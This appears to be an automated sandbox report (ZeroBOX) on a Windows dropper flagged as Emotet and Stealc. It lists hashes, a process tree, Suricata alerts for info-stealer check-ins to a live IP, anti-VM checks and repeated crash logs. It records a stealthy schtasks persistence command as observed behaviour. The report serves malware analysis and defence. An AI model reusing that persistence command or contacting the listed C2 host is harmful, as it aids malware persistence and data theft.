Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6403_us	Nov. 9, 2023, 7:48 a.m.	Nov. 9, 2023, 7:54 a.m.

Size	430.5KB
Type	PE32 executable (GUI) Intel 80386, for MS Windows
MD5	`91d5dbd8e4804912cb38e62186467068`
SHA256	`67a81dacaae7030f72676eaf1c16eef996159f72b9cc285fa0a8af7afb3959ea`
CRC32	`C47906FB`
ssdeep	`6144:KJy+bnr+Yp0yN90QENq2g5ThCsBwvprDgaucK5uJRPZT7QHhqkMbo49NRBiDp7:zMrwy90bq2ClwxvHxaulTU8C4jA`
PDB Path	wextract.pdb
Yara	Malicious_Library_Zero - Malicious_Library UPX_Zero - UPX packed file PE_Header_Zero - PE File Signature IsPE32 - (no description) CAB_file_format - CAB archive file Win32_Trojan_Gen_1_0904B0_Zero - Win32 Trojan Emotet Win32_Trojan_Emotet_RL_Gen_Zero - Win32 Trojan Emotet

need.exe "C:\Users\test22\AppData\Local\Temp\need.exe"
1460
- tB5yY48.exe C:\Users\test22\AppData\Local\Temp\IXP000.TMP\tB5yY48.exe
  444
  - 1av35YR0.exe C:\Users\test22\AppData\Local\Temp\IXP001.TMP\1av35YR0.exe
    2132
    - AppLaunch.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
      2188
      - 0PtOMLAJU3qJXB0.exe "C:\Users\test22\AppData\Local\Temp\0PtOMLAJU3qJXB0.exe"
        2916
      - cmd.exe /c schtasks /create /F /sc minute /mo 15 /tr "C:\Users\test22\AppData\Local\Temp\0PtOMLAJU3qJXB0.exe" /tn "\WindowsAppPool\0PtOMLAJU3qJXB0"
        2952
        
        schtasks.exe schtasks /create /F /sc minute /mo 15 /tr "C:\Users\test22\AppData\Local\Temp\0PtOMLAJU3qJXB0.exe" /tn "\WindowsAppPool\0PtOMLAJU3qJXB0"
        3016
  - 6Hu0MY8.exe C:\Users\test22\AppData\Local\Temp\IXP001.TMP\6Hu0MY8.exe
    2296
    - AppLaunch.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
      2376
- 7Vy1py29.exe C:\Users\test22\AppData\Local\Temp\IXP000.TMP\7Vy1py29.exe
  2512
  - cmd.exe cmd /c ""C:\Users\test22\AppData\Local\Temp\is64.bat" "
    2616

Name	Response	Post-Analysis Lookup
No hosts contacted.

IP Address	Status	Action
193.233.255.73	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
TCP 192.168.56.103:49167 -> 193.233.255.73:80	2047625	ET MALWARE [ANY.RUN] Win32/Stealc Checkin (POST)	A Network Trojan was detected
TCP 192.168.56.103:49167 -> 193.233.255.73:80	2018358	ET HUNTING GENERIC SUSPICIOUS POST to Dotted Quad with Fake Browser 1	Potentially Bad Traffic
TCP 192.168.56.103:49168 -> 193.233.255.73:80	2018358	ET HUNTING GENERIC SUSPICIOUS POST to Dotted Quad with Fake Browser 1	Potentially Bad Traffic
TCP 192.168.56.103:49167 -> 193.233.255.73:80	2018358	ET HUNTING GENERIC SUSPICIOUS POST to Dotted Quad with Fake Browser 1	Potentially Bad Traffic
TCP 192.168.56.103:49167 -> 193.233.255.73:80	2018358	ET HUNTING GENERIC SUSPICIOUS POST to Dotted Quad with Fake Browser 1	Potentially Bad Traffic
TCP 192.168.56.103:49167 -> 193.233.255.73:80	2018358	ET HUNTING GENERIC SUSPICIOUS POST to Dotted Quad with Fake Browser 1	Potentially Bad Traffic
TCP 192.168.56.103:49168 -> 193.233.255.73:80	2018358	ET HUNTING GENERIC SUSPICIOUS POST to Dotted Quad with Fake Browser 1	Potentially Bad Traffic
TCP 192.168.56.103:49167 -> 193.233.255.73:80	2018358	ET HUNTING GENERIC SUSPICIOUS POST to Dotted Quad with Fake Browser 1	Potentially Bad Traffic
TCP 192.168.56.103:49168 -> 193.233.255.73:80	2018358	ET HUNTING GENERIC SUSPICIOUS POST to Dotted Quad with Fake Browser 1	Potentially Bad Traffic
TCP 192.168.56.103:49168 -> 193.233.255.73:80	2018358	ET HUNTING GENERIC SUSPICIOUS POST to Dotted Quad with Fake Browser 1	Potentially Bad Traffic
TCP 192.168.56.103:49168 -> 193.233.255.73:80	2018358	ET HUNTING GENERIC SUSPICIOUS POST to Dotted Quad with Fake Browser 1	Potentially Bad Traffic
TCP 192.168.56.103:49168 -> 193.233.255.73:80	2018358	ET HUNTING GENERIC SUSPICIOUS POST to Dotted Quad with Fake Browser 1	Potentially Bad Traffic
TCP 192.168.56.103:49168 -> 193.233.255.73:80	2018358	ET HUNTING GENERIC SUSPICIOUS POST to Dotted Quad with Fake Browser 1	Potentially Bad Traffic

Suricata TLS

No Suricata TLS

Queries for the computername (1 event)

Time & API	Arguments	Status	Return	Repeated
GetComputerNameW Nov. 9, 2023, 7:48 a.m.	computer_name: TEST22-PC	1	1	0

Checks if process is being debugged by a debugger (2 events)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent Nov. 9, 2023, 7:48 a.m.			0	0
IsDebuggerPresent Nov. 9, 2023, 7:48 a.m.			0	0

Command line console output was observed (1 event)

Time & API	Arguments	Status	Return	Repeated
WriteConsoleW Nov. 9, 2023, 7:48 a.m.	buffer: SUCCESS: The scheduled task "\WindowsAppPool\0PtOMLAJU3qJXB0" has successfully been created. console_handle: 0x00000007	1	1	0

This executable has a PDB path (1 event)

pdb_path

wextract.pdb

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx Nov. 9, 2023, 7:48 a.m.		1	1	0

The file contains an unknown PE resource name possibly indicative of a packer (1 event)

resource name

AVI

One or more processes crashed (50 out of 68059 events)

Time & API	Arguments	Status
__exception__ Nov. 9, 2023, 7:48 a.m.	stacktrace: IsValidAcl+0xe InitializeAcl-0x1f kernelbase+0x1c19d @ 0x755ac19d _GetSpecialResolution@0-0x346 1av35yr0+0x1319 @ 0x1261319 exception.instruction_r: 8a 03 3c 02 0f 82 de f7 02 00 3c 04 0f 87 d6 f7 exception.symbol: RtlValidAcl+0x13 RtlCreateSecurityDescriptor-0x5e ntdll+0x42c36 exception.instruction: mov al, byte ptr [ebx] exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 273462 exception.address: 0x778e2c36 registers.esp: 13564548 registers.edi: 3679616 registers.eax: 13564592 registers.ebp: 13564608 registers.edx: 1937075299 registers.ebx: 0 registers.esi: 3679616 registers.ecx: 13564696	1
__exception__ Nov. 9, 2023, 7:48 a.m.	stacktrace: IsValidAcl+0xe InitializeAcl-0x1f kernelbase+0x1c19d @ 0x755ac19d _GetSpecialResolution@0-0x346 1av35yr0+0x1319 @ 0x1261319 exception.instruction_r: 8a 03 3c 02 0f 82 de f7 02 00 3c 04 0f 87 d6 f7 exception.symbol: RtlValidAcl+0x13 RtlCreateSecurityDescriptor-0x5e ntdll+0x42c36 exception.instruction: mov al, byte ptr [ebx] exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 273462 exception.address: 0x778e2c36 registers.esp: 13564548 registers.edi: 3679620 registers.eax: 13564592 registers.ebp: 13564608 registers.edx: 1970365249 registers.ebx: 0 registers.esi: 3679616 registers.ecx: 3684720849	1
__exception__ Nov. 9, 2023, 7:48 a.m.	stacktrace: IsValidAcl+0xe InitializeAcl-0x1f kernelbase+0x1c19d @ 0x755ac19d _GetSpecialResolution@0-0x346 1av35yr0+0x1319 @ 0x1261319 exception.instruction_r: 8a 03 3c 02 0f 82 de f7 02 00 3c 04 0f 87 d6 f7 exception.symbol: RtlValidAcl+0x13 RtlCreateSecurityDescriptor-0x5e ntdll+0x42c36 exception.instruction: mov al, byte ptr [ebx] exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 273462 exception.address: 0x778e2c36 registers.esp: 13564548 registers.edi: 3679624 registers.eax: 13564592 registers.ebp: 13564608 registers.edx: 1399157353 registers.ebx: 0 registers.esi: 3679616 registers.ecx: 1280335481	1
__exception__ Nov. 9, 2023, 7:48 a.m.	stacktrace: IsValidAcl+0xe InitializeAcl-0x1f kernelbase+0x1c19d @ 0x755ac19d _GetSpecialResolution@0-0x346 1av35yr0+0x1319 @ 0x1261319 exception.instruction_r: 8a 03 3c 02 0f 82 de f7 02 00 3c 04 0f 87 d6 f7 exception.symbol: RtlValidAcl+0x13 RtlCreateSecurityDescriptor-0x5e ntdll+0x42c36 exception.instruction: mov al, byte ptr [ebx] exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 273462 exception.address: 0x778e2c36 registers.esp: 13564548 registers.edi: 3679628 registers.eax: 13564592 registers.ebp: 13564608 registers.edx: 1867274066 registers.ebx: 0 registers.esi: 3679616 registers.ecx: 4121499506	1
__exception__ Nov. 9, 2023, 7:48 a.m.	stacktrace: IsValidAcl+0xe InitializeAcl-0x1f kernelbase+0x1c19d @ 0x755ac19d _GetSpecialResolution@0-0x346 1av35yr0+0x1319 @ 0x1261319 exception.instruction_r: 8a 03 3c 02 0f 82 de f7 02 00 3c 04 0f 87 d6 f7 exception.symbol: RtlValidAcl+0x13 RtlCreateSecurityDescriptor-0x5e ntdll+0x42c36 exception.instruction: mov al, byte ptr [ebx] exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 273462 exception.address: 0x778e2c36 registers.esp: 13564548 registers.edi: 3679632 registers.eax: 13564592 registers.ebp: 13564608 registers.edx: 2017815395 registers.ebx: 0 registers.esi: 3679616 registers.ecx: 719449619	1
__exception__ Nov. 9, 2023, 7:48 a.m.	stacktrace: IsValidAcl+0xe InitializeAcl-0x1f kernelbase+0x1c19d @ 0x755ac19d _GetSpecialResolution@0-0x346 1av35yr0+0x1319 @ 0x1261319 exception.instruction_r: 8a 03 3c 02 0f 82 de f7 02 00 3c 04 0f 87 d6 f7 exception.symbol: RtlValidAcl+0x13 RtlCreateSecurityDescriptor-0x5e ntdll+0x42c36 exception.instruction: mov al, byte ptr [ebx] exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 273462 exception.address: 0x778e2c36 registers.esp: 13564548 registers.edi: 3679616 registers.eax: 13564592 registers.ebp: 13564608 registers.edx: 1684370017 registers.ebx: 0 registers.esi: 3679616 registers.ecx: 13564696	1
__exception__ Nov. 9, 2023, 7:48 a.m.	stacktrace: IsValidAcl+0xe InitializeAcl-0x1f kernelbase+0x1c19d @ 0x755ac19d _GetSpecialResolution@0-0x346 1av35yr0+0x1319 @ 0x1261319 exception.instruction_r: 8a 03 3c 02 0f 82 de f7 02 00 3c 04 0f 87 d6 f7 exception.symbol: RtlValidAcl+0x13 RtlCreateSecurityDescriptor-0x5e ntdll+0x42c36 exception.instruction: mov al, byte ptr [ebx] exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 273462 exception.address: 0x778e2c36 registers.esp: 13564548 registers.edi: 3679620 registers.eax: 13564592 registers.ebp: 13564608 registers.edx: 1970365249 registers.ebx: 0 registers.esi: 3679616 registers.ecx: 3684720849	1
__exception__ Nov. 9, 2023, 7:48 a.m.	stacktrace: IsValidAcl+0xe InitializeAcl-0x1f kernelbase+0x1c19d @ 0x755ac19d _GetSpecialResolution@0-0x346 1av35yr0+0x1319 @ 0x1261319 exception.instruction_r: 8a 03 3c 02 0f 82 de f7 02 00 3c 04 0f 87 d6 f7 exception.symbol: RtlValidAcl+0x13 RtlCreateSecurityDescriptor-0x5e ntdll+0x42c36 exception.instruction: mov al, byte ptr [ebx] exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 273462 exception.address: 0x778e2c36 registers.esp: 13564548 registers.edi: 3679624 registers.eax: 13564592 registers.ebp: 13564608 registers.edx: 1399157353 registers.ebx: 0 registers.esi: 3679616 registers.ecx: 1280335481	1
__exception__ Nov. 9, 2023, 7:48 a.m.	stacktrace: IsValidAcl+0xe InitializeAcl-0x1f kernelbase+0x1c19d @ 0x755ac19d _GetSpecialResolution@0-0x346 1av35yr0+0x1319 @ 0x1261319 exception.instruction_r: 8a 03 3c 02 0f 82 de f7 02 00 3c 04 0f 87 d6 f7 exception.symbol: RtlValidAcl+0x13 RtlCreateSecurityDescriptor-0x5e ntdll+0x42c36 exception.instruction: mov al, byte ptr [ebx] exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 273462 exception.address: 0x778e2c36 registers.esp: 13564548 registers.edi: 3679628 registers.eax: 13564592 registers.ebp: 13564608 registers.edx: 1867274066 registers.ebx: 0 registers.esi: 3679616 registers.ecx: 4121499506	1
__exception__ Nov. 9, 2023, 7:48 a.m.	stacktrace: IsValidAcl+0xe InitializeAcl-0x1f kernelbase+0x1c19d @ 0x755ac19d _GetSpecialResolution@0-0x346 1av35yr0+0x1319 @ 0x1261319 exception.instruction_r: 8a 03 3c 02 0f 82 de f7 02 00 3c 04 0f 87 d6 f7 exception.symbol: RtlValidAcl+0x13 RtlCreateSecurityDescriptor-0x5e ntdll+0x42c36 exception.instruction: mov al, byte ptr [ebx] exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 273462 exception.address: 0x778e2c36 registers.esp: 13564548 registers.edi: 3679632 registers.eax: 13564592 registers.ebp: 13564608 registers.edx: 1750297443 registers.ebx: 0 registers.esi: 3679616 registers.ecx: 3771723283	1
__exception__ Nov. 9, 2023, 7:48 a.m.	stacktrace: IsValidAcl+0xe InitializeAcl-0x1f kernelbase+0x1c19d @ 0x755ac19d _GetSpecialResolution@0-0x346 1av35yr0+0x1319 @ 0x1261319 exception.instruction_r: 8a 03 3c 02 0f 82 de f7 02 00 3c 04 0f 87 d6 f7 exception.symbol: RtlValidAcl+0x13 RtlCreateSecurityDescriptor-0x5e ntdll+0x42c36 exception.instruction: mov al, byte ptr [ebx] exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 273462 exception.address: 0x778e2c36 registers.esp: 13564548 registers.edi: 13564696 registers.eax: 13564592 registers.ebp: 13564608 registers.edx: 1131701057 registers.ebx: 0 registers.esi: 13564696 registers.ecx: 13564696	1
__exception__ Nov. 9, 2023, 7:48 a.m.	stacktrace: IsValidAcl+0xe InitializeAcl-0x1f kernelbase+0x1c19d @ 0x755ac19d _GetSpecialResolution@0-0x346 1av35yr0+0x1319 @ 0x1261319 exception.instruction_r: 8a 03 3c 02 0f 82 de f7 02 00 3c 04 0f 87 d6 f7 exception.symbol: RtlValidAcl+0x13 RtlCreateSecurityDescriptor-0x5e ntdll+0x42c36 exception.instruction: mov al, byte ptr [ebx] exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 273462 exception.address: 0x778e2c36 registers.esp: 13564548 registers.edi: 13564700 registers.eax: 13564592 registers.ebp: 13564608 registers.edx: 1769235265 registers.ebx: 0 registers.esi: 13564696 registers.ecx: 3428016337	1
__exception__ Nov. 9, 2023, 7:48 a.m.	stacktrace: IsValidAcl+0xe InitializeAcl-0x1f kernelbase+0x1c19d @ 0x755ac19d _GetSpecialResolution@0-0x346 1av35yr0+0x1319 @ 0x1261319 exception.instruction_r: 8a 03 3c 02 0f 82 de f7 02 00 3c 04 0f 87 d6 f7 exception.symbol: RtlValidAcl+0x13 RtlCreateSecurityDescriptor-0x5e ntdll+0x42c36 exception.instruction: mov al, byte ptr [ebx] exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 273462 exception.address: 0x778e2c36 registers.esp: 13564548 registers.edi: 13564704 registers.eax: 13564592 registers.ebp: 13564608 registers.edx: 1702125942 registers.ebx: 0 registers.esi: 13564696 registers.ecx: 3874855382	1
__exception__ Nov. 9, 2023, 7:48 a.m.	stacktrace: IsValidAcl+0xe InitializeAcl-0x1f kernelbase+0x1c19d @ 0x755ac19d _GetSpecialResolution@0-0x346 1av35yr0+0x1319 @ 0x1261319 exception.instruction_r: 8a 03 3c 02 0f 82 de f7 02 00 3c 04 0f 87 d6 f7 exception.symbol: RtlValidAcl+0x13 RtlCreateSecurityDescriptor-0x5e ntdll+0x42c36 exception.instruction: mov al, byte ptr [ebx] exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 273462 exception.address: 0x778e2c36 registers.esp: 13564548 registers.edi: 13564696 registers.eax: 13564592 registers.ebp: 13564608 registers.edx: 1097690996 registers.ebx: 0 registers.esi: 13564696 registers.ecx: 13564696	1
__exception__ Nov. 9, 2023, 7:48 a.m.	stacktrace: IsValidAcl+0xe InitializeAcl-0x1f kernelbase+0x1c19d @ 0x755ac19d _GetSpecialResolution@0-0x346 1av35yr0+0x1319 @ 0x1261319 exception.instruction_r: 8a 03 3c 02 0f 82 de f7 02 00 3c 04 0f 87 d6 f7 exception.symbol: RtlValidAcl+0x13 RtlCreateSecurityDescriptor-0x5e ntdll+0x42c36 exception.instruction: mov al, byte ptr [ebx] exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 273462 exception.address: 0x778e2c36 registers.esp: 13564548 registers.edi: 13564700 registers.eax: 13564592 registers.ebp: 13564608 registers.edx: 1097098305 registers.ebx: 0 registers.esi: 13564696 registers.ecx: 1563226577	1
__exception__ Nov. 9, 2023, 7:48 a.m.	stacktrace: IsValidAcl+0xe InitializeAcl-0x1f kernelbase+0x1c19d @ 0x755ac19d _GetSpecialResolution@0-0x346 1av35yr0+0x1319 @ 0x1261319 exception.instruction_r: 8a 03 3c 02 0f 82 de f7 02 00 3c 04 0f 87 d6 f7 exception.symbol: RtlValidAcl+0x13 RtlCreateSecurityDescriptor-0x5e ntdll+0x42c36 exception.instruction: mov al, byte ptr [ebx] exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 273462 exception.address: 0x778e2c36 registers.esp: 13564548 registers.edi: 13564696 registers.eax: 13564592 registers.ebp: 13564608 registers.edx: 1466789748 registers.ebx: 0 registers.esi: 13564696 registers.ecx: 13564696	1
__exception__ Nov. 9, 2023, 7:48 a.m.	stacktrace: IsValidAcl+0xe InitializeAcl-0x1f kernelbase+0x1c19d @ 0x755ac19d _GetSpecialResolution@0-0x346 1av35yr0+0x1319 @ 0x1261319 exception.instruction_r: 8a 03 3c 02 0f 82 de f7 02 00 3c 04 0f 87 d6 f7 exception.symbol: RtlValidAcl+0x13 RtlCreateSecurityDescriptor-0x5e ntdll+0x42c36 exception.instruction: mov al, byte ptr [ebx] exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 273462 exception.address: 0x778e2c36 registers.esp: 13564548 registers.edi: 13564700 registers.eax: 13564592 registers.ebp: 13564608 registers.edx: 1097098305 registers.ebx: 0 registers.esi: 13564696 registers.ecx: 1563226577	1
__exception__ Nov. 9, 2023, 7:48 a.m.	stacktrace: IsValidAcl+0xe InitializeAcl-0x1f kernelbase+0x1c19d @ 0x755ac19d _GetSpecialResolution@0-0x346 1av35yr0+0x1319 @ 0x1261319 exception.instruction_r: 8a 03 3c 02 0f 82 de f7 02 00 3c 04 0f 87 d6 f7 exception.symbol: RtlValidAcl+0x13 RtlCreateSecurityDescriptor-0x5e ntdll+0x42c36 exception.instruction: mov al, byte ptr [ebx] exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 273462 exception.address: 0x778e2c36 registers.esp: 13564548 registers.edi: 3679616 registers.eax: 13564592 registers.ebp: 13564608 registers.edx: 1098080617 registers.ebx: 0 registers.esi: 3679616 registers.ecx: 13564696	1
__exception__ Nov. 9, 2023, 7:48 a.m.	stacktrace: IsValidAcl+0xe InitializeAcl-0x1f kernelbase+0x1c19d @ 0x755ac19d _GetSpecialResolution@0-0x346 1av35yr0+0x1319 @ 0x1261319 exception.instruction_r: 8a 03 3c 02 0f 82 de f7 02 00 3c 04 0f 87 d6 f7 exception.symbol: RtlValidAcl+0x13 RtlCreateSecurityDescriptor-0x5e ntdll+0x42c36 exception.instruction: mov al, byte ptr [ebx] exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 273462 exception.address: 0x778e2c36 registers.esp: 13564548 registers.edi: 3679620 registers.eax: 13564592 registers.ebp: 13564608 registers.edx: 1130652737 registers.ebx: 0 registers.esi: 3679616 registers.ecx: 2133651921	1
__exception__ Nov. 9, 2023, 7:48 a.m.	stacktrace: IsValidAcl+0xe InitializeAcl-0x1f kernelbase+0x1c19d @ 0x755ac19d _GetSpecialResolution@0-0x346 1av35yr0+0x1319 @ 0x1261319 exception.instruction_r: 8a 03 3c 02 0f 82 de f7 02 00 3c 04 0f 87 d6 f7 exception.symbol: RtlValidAcl+0x13 RtlCreateSecurityDescriptor-0x5e ntdll+0x42c36 exception.instruction: mov al, byte ptr [ebx] exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 273462 exception.address: 0x778e2c36 registers.esp: 13564548 registers.edi: 3679624 registers.eax: 13564592 registers.ebp: 13564608 registers.edx: 1869835887 registers.ebx: 0 registers.esi: 3679616 registers.ecx: 3447952351	1
__exception__ Nov. 9, 2023, 7:48 a.m.	stacktrace: IsValidAcl+0xe InitializeAcl-0x1f kernelbase+0x1c19d @ 0x755ac19d _GetSpecialResolution@0-0x346 1av35yr0+0x1319 @ 0x1261319 exception.instruction_r: 8a 03 3c 02 0f 82 de f7 02 00 3c 04 0f 87 d6 f7 exception.symbol: RtlValidAcl+0x13 RtlCreateSecurityDescriptor-0x5e ntdll+0x42c36 exception.instruction: mov al, byte ptr [ebx] exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 273462 exception.address: 0x778e2c36 registers.esp: 13564548 registers.edi: 3679628 registers.eax: 13564592 registers.ebp: 13564608 registers.edx: 1816225132 registers.ebx: 0 registers.esi: 3679616 registers.ecx: 126205484	1
__exception__ Nov. 9, 2023, 7:48 a.m.	stacktrace: IsValidAcl+0xe InitializeAcl-0x1f kernelbase+0x1c19d @ 0x755ac19d _GetSpecialResolution@0-0x346 1av35yr0+0x1319 @ 0x1261319 exception.instruction_r: 8a 03 3c 02 0f 82 de f7 02 00 3c 04 0f 87 d6 f7 exception.symbol: RtlValidAcl+0x13 RtlCreateSecurityDescriptor-0x5e ntdll+0x42c36 exception.instruction: mov al, byte ptr [ebx] exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 273462 exception.address: 0x778e2c36 registers.esp: 13564548 registers.edi: 3679616 registers.eax: 13564592 registers.ebp: 13564608 registers.edx: 1467179369 registers.ebx: 0 registers.esi: 3679616 registers.ecx: 13564696	1
__exception__ Nov. 9, 2023, 7:48 a.m.	stacktrace: IsValidAcl+0xe InitializeAcl-0x1f kernelbase+0x1c19d @ 0x755ac19d _GetSpecialResolution@0-0x346 1av35yr0+0x1319 @ 0x1261319 exception.instruction_r: 8a 03 3c 02 0f 82 de f7 02 00 3c 04 0f 87 d6 f7 exception.symbol: RtlValidAcl+0x13 RtlCreateSecurityDescriptor-0x5e ntdll+0x42c36 exception.instruction: mov al, byte ptr [ebx] exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 273462 exception.address: 0x778e2c36 registers.esp: 13564548 registers.edi: 3679620 registers.eax: 13564592 registers.ebp: 13564608 registers.edx: 1130652737 registers.ebx: 0 registers.esi: 3679616 registers.ecx: 2133651921	1
__exception__ Nov. 9, 2023, 7:48 a.m.	stacktrace: IsValidAcl+0xe InitializeAcl-0x1f kernelbase+0x1c19d @ 0x755ac19d _GetSpecialResolution@0-0x346 1av35yr0+0x1319 @ 0x1261319 exception.instruction_r: 8a 03 3c 02 0f 82 de f7 02 00 3c 04 0f 87 d6 f7 exception.symbol: RtlValidAcl+0x13 RtlCreateSecurityDescriptor-0x5e ntdll+0x42c36 exception.instruction: mov al, byte ptr [ebx] exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 273462 exception.address: 0x778e2c36 registers.esp: 13564548 registers.edi: 3679624 registers.eax: 13564592 registers.ebp: 13564608 registers.edx: 1869835887 registers.ebx: 0 registers.esi: 3679616 registers.ecx: 3447952351	1
__exception__ Nov. 9, 2023, 7:48 a.m.	stacktrace: IsValidAcl+0xe InitializeAcl-0x1f kernelbase+0x1c19d @ 0x755ac19d _GetSpecialResolution@0-0x346 1av35yr0+0x1319 @ 0x1261319 exception.instruction_r: 8a 03 3c 02 0f 82 de f7 02 00 3c 04 0f 87 d6 f7 exception.symbol: RtlValidAcl+0x13 RtlCreateSecurityDescriptor-0x5e ntdll+0x42c36 exception.instruction: mov al, byte ptr [ebx] exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 273462 exception.address: 0x778e2c36 registers.esp: 13564548 registers.edi: 3679628 registers.eax: 13564592 registers.ebp: 13564608 registers.edx: 1816225132 registers.ebx: 0 registers.esi: 3679616 registers.ecx: 126205484	1
__exception__ Nov. 9, 2023, 7:48 a.m.	stacktrace: IsValidAcl+0xe InitializeAcl-0x1f kernelbase+0x1c19d @ 0x755ac19d _GetSpecialResolution@0-0x346 1av35yr0+0x1319 @ 0x1261319 exception.instruction_r: 8a 03 3c 02 0f 82 de f7 02 00 3c 04 0f 87 d6 f7 exception.symbol: RtlValidAcl+0x13 RtlCreateSecurityDescriptor-0x5e ntdll+0x42c36 exception.instruction: mov al, byte ptr [ebx] exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 273462 exception.address: 0x778e2c36 registers.esp: 13564548 registers.edi: 3688688 registers.eax: 13564592 registers.ebp: 13564608 registers.edx: 1869901929 registers.ebx: 0 registers.esi: 3688688 registers.ecx: 13564696	1
__exception__ Nov. 9, 2023, 7:48 a.m.	stacktrace: IsValidAcl+0xe InitializeAcl-0x1f kernelbase+0x1c19d @ 0x755ac19d _GetSpecialResolution@0-0x346 1av35yr0+0x1319 @ 0x1261319 exception.instruction_r: 8a 03 3c 02 0f 82 de f7 02 00 3c 04 0f 87 d6 f7 exception.symbol: RtlValidAcl+0x13 RtlCreateSecurityDescriptor-0x5e ntdll+0x42c36 exception.instruction: mov al, byte ptr [ebx] exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 273462 exception.address: 0x778e2c36 registers.esp: 13564548 registers.edi: 3688692 registers.eax: 13564592 registers.ebp: 13564608 registers.edx: 1231316033 registers.ebx: 0 registers.esi: 3688688 registers.ecx: 3844927953	1
__exception__ Nov. 9, 2023, 7:48 a.m.	stacktrace: IsValidAcl+0xe InitializeAcl-0x1f kernelbase+0x1c19d @ 0x755ac19d _GetSpecialResolution@0-0x346 1av35yr0+0x1319 @ 0x1261319 exception.instruction_r: 8a 03 3c 02 0f 82 de f7 02 00 3c 04 0f 87 d6 f7 exception.symbol: RtlValidAcl+0x13 RtlCreateSecurityDescriptor-0x5e ntdll+0x42c36 exception.instruction: mov al, byte ptr [ebx] exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 273462 exception.address: 0x778e2c36 registers.esp: 13564548 registers.edi: 3688696 registers.eax: 13564592 registers.ebp: 13564608 registers.edx: 1734702190 registers.ebx: 0 registers.esi: 3688688 registers.ecx: 255660110	1
__exception__ Nov. 9, 2023, 7:48 a.m.	stacktrace: IsValidAcl+0xe InitializeAcl-0x1f kernelbase+0x1c19d @ 0x755ac19d _GetSpecialResolution@0-0x346 1av35yr0+0x1319 @ 0x1261319 exception.instruction_r: 8a 03 3c 02 0f 82 de f7 02 00 3c 04 0f 87 d6 f7 exception.symbol: RtlValidAcl+0x13 RtlCreateSecurityDescriptor-0x5e ntdll+0x42c36 exception.instruction: mov al, byte ptr [ebx] exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 273462 exception.address: 0x778e2c36 registers.esp: 13564548 registers.edi: 3688700 registers.eax: 13564592 registers.ebp: 13564608 registers.edx: 2037672306 registers.ebx: 0 registers.esi: 3688688 registers.ecx: 1526365074	1
__exception__ Nov. 9, 2023, 7:48 a.m.	stacktrace: IsValidAcl+0xe InitializeAcl-0x1f kernelbase+0x1c19d @ 0x755ac19d _GetSpecialResolution@0-0x346 1av35yr0+0x1319 @ 0x1261319 exception.instruction_r: 8a 03 3c 02 0f 82 de f7 02 00 3c 04 0f 87 d6 f7 exception.symbol: RtlValidAcl+0x13 RtlCreateSecurityDescriptor-0x5e ntdll+0x42c36 exception.instruction: mov al, byte ptr [ebx] exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 273462 exception.address: 0x778e2c36 registers.esp: 13564548 registers.edi: 3688704 registers.eax: 13564592 registers.ebp: 13564608 registers.edx: 1700946252 registers.ebx: 0 registers.esi: 3688688 registers.ecx: 1783842828	1
__exception__ Nov. 9, 2023, 7:48 a.m.	stacktrace: IsValidAcl+0xe InitializeAcl-0x1f kernelbase+0x1c19d @ 0x755ac19d _GetSpecialResolution@0-0x346 1av35yr0+0x1319 @ 0x1261319 exception.instruction_r: 8a 03 3c 02 0f 82 de f7 02 00 3c 04 0f 87 d6 f7 exception.symbol: RtlValidAcl+0x13 RtlCreateSecurityDescriptor-0x5e ntdll+0x42c36 exception.instruction: mov al, byte ptr [ebx] exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 273462 exception.address: 0x778e2c36 registers.esp: 13564548 registers.edi: 3688708 registers.eax: 13564592 registers.ebp: 13564608 registers.edx: 1114592364 registers.ebx: 0 registers.esi: 3688688 registers.ecx: 1158749484	1
